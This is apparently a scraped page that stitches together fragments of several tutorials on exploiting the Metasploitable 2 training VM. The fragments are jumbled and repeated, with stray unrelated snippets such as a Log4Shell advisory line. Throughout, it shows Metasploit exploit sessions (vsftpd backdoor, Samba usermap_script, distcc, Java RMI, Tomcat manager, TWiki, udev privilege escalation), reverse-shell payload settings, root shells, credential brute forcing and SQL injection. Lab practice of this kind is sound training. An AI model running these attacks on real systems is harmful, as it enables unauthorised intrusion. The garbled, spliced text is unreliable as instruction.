https://information.rapid7.com/download-metasploitable-2017.html. Least significant byte first in each pixel.
Step 8: Display all the user tables in information_schema. Step 11: Create a C file (as given below) and compile it, using GCC on a Kali machine.
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In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. RHOST yes The target address
This particular version contains a backdoor that was slipped into the source code by an unknown intruder.
From the shell, run the ifconfig command to identify the IP address. Exploit target:
It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. Then, hit the "Run Scan" button in the . The nmap command uses a few flags to conduct the initial scan.
This set of articles discusses the RED TEAM's tools and routes of attack. -- ----
Exploit target:
Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). LPORT 4444 yes The listen port
Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. More investigation would be needed to resolve it. Lets start by using nmap to scan the target port. Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems. 0 Automatic Target
Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. Reference: Nmap command-line examples The default login and password is msfadmin:msfadmin.
Name Current Setting Required Description
RHOST yes The target address
payload => cmd/unix/reverse
This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice.
Name Current Setting Required Description
After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences.
rapid7/metasploitable3 Wiki.
Meterpreter sessions will autodetect
To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan.
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Login with the above credentials. RHOSTS yes The target address range or CIDR identifier
[*] Writing to socket B
[*] Reading from socket B
Name Current Setting Required Description
15.
msf auxiliary(smb_version) > run
RHOST => 192.168.127.154
When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open.
[*] Writing to socket B
[*] Started reverse handler on 192.168.127.159:4444
In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . Id Name
Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. The purpose of a Command Injection attack is to execute unwanted commands on the target system.
[*] Accepted the second client connection
---- --------------- -------- -----------
msf auxiliary(tomcat_administration) > run
[*] Started reverse double handler
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. RPORT 5432 yes The target port
Closed 6 years ago. Relist the files & folders in time descending order showing the newly created file.
[*] Writing to socket A
---- --------------- -------- -----------
Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature.
RPORT 139 yes The target port
Once you open the Metasploit console, you will get to see the following screen. Id Name
You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Module options (auxiliary/scanner/postgres/postgres_login):
RHOST yes The target address
A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. The root directory is shared. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities.
0 Automatic
. msf exploit(vsftpd_234_backdoor) > show payloads
Name Current Setting Required Description
Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. SMBUser no The username to authenticate as
Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges.
root, msf > use auxiliary/scanner/postgres/postgres_login
Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159
msf exploit(vsftpd_234_backdoor) > show options
To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service.
Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only".
TIMEOUT 30 yes Timeout for the Telnet probe
The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. msf exploit(twiki_history) > show options
msf exploit(usermap_script) > exploit
msf auxiliary(telnet_version) > run
The interface looks like a Linux command-line shell. (Note: A video tutorial on installing Metasploitable 2 is available here.).
Exploit target:
For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. However, the exact version of Samba that is running on those ports is unknown.
The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300
msf exploit(udev_netlink) > show options
Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. [*] udev pid: 2770
Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version.
[*] Matching
Module options (exploit/linux/postgres/postgres_payload):
---- --------------- ---- -----------
[*] Accepted the first client connection [*] Accepted the second client connection [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700, root@ubuntu:~# telnet 192.168.99.131 1524, msf exploit(distcc_exec) > set RHOST 192.168.99.131, [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700, uid=1(daemon) gid=1(daemon) groups=1(daemon), root@ubuntu:~# smbclient -L //192.168.99.131, Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian], print$ Disk Printer Drivers, IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), msf > use auxiliary/admin/smb/samba_symlink_traversal, msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131, msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp, msf auxiliary(samba_symlink_traversal) > exploit. Step 2:Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2.
---- --------------- ---- -----------
[*] B: "qcHh6jsH8rZghWdi\r\n"
msf exploit(twiki_history) > set payload cmd/unix/reverse
The next service we should look at is the Network File System (NFS). msf exploit(distcc_exec) > show options
root
We againhave to elevate our privileges from here. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.
msf exploit(twiki_history) > set RHOST 192.168.127.154
Long list the files with attributes in the local folder. In this example, Metasploitable 2 is running at IP 192.168.56.101. [*] Accepted the second client connection
Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured.
Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target.
We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154
Set Version: Ubuntu, and to continue, click the Next button.
Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). [*] Reading from socket B
Module options (exploit/multi/samba/usermap_script):
Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other.
Return to the VirtualBox Wizard now. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Module options (exploit/multi/misc/java_rmi_server):
RHOST 192.168.127.154 yes The target address
Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Server version: 5.0.51a-3ubuntu5 (Ubuntu).
All right, there are a lot of services just awaitingour consideration. [*] Command: echo D0Yvs2n6TnTUDmPF;
We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . I am new to penetration testing . For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/.
It is also instrumental in Intrusion Detection System signature development. RPORT 1099 yes The target port
THREADS 1 yes The number of concurrent threads
Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
TOMCAT_PASS no The Password for the specified username
payload => cmd/unix/interact
Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux.
Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). [*] Accepted the first client connection
So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). [*] A is input
[*] Command: echo f8rjvIDZRdKBtu0F;
whoami
[*] B: "D0Yvs2n6TnTUDmPF\r\n"
Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. msf exploit(drb_remote_codeexec) > exploit
VHOST no HTTP server virtual host
Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. Here are the outcomes.
The same exploit that we used manually before was very simple and quick in Metasploit.
[*] B: "7Kx3j4QvoI7LOU5z\r\n"
[*] Accepted the second client connection
Browsing to http://192.168.56.101/ shows the web application home page. This is an issue many in infosec have to deal with all the time.
Name Current Setting Required Description
Matching Modules
RHOST => 192.168.127.154
To download Metasploitable 2, visitthe following link. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts.
msf > use exploit/multi/misc/java_rmi_server
LHOST => 192.168.127.159
msf exploit(java_rmi_server) > set LHOST 192.168.127.159
A demonstration of an adverse outcome. payload => cmd/unix/reverse
And this is what we get: Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. ================
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. : CVE-2009-1234 or 2010-1234 or 20101234) The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. Exploit target:
[*] Reading from sockets
XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
[*] chmod'ing and running it
msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134.
Setting the Security Level from 0 (completely insecure) through to 5 (secure). [*] A is input
---- --------------- -------- -----------
[*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300
[*] Scanned 1 of 1 hosts (100% complete)
payload => cmd/unix/reverse
Return to the VirtualBox Wizard now.
[*] Writing to socket A
Vulnerability Management Nexpose First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search
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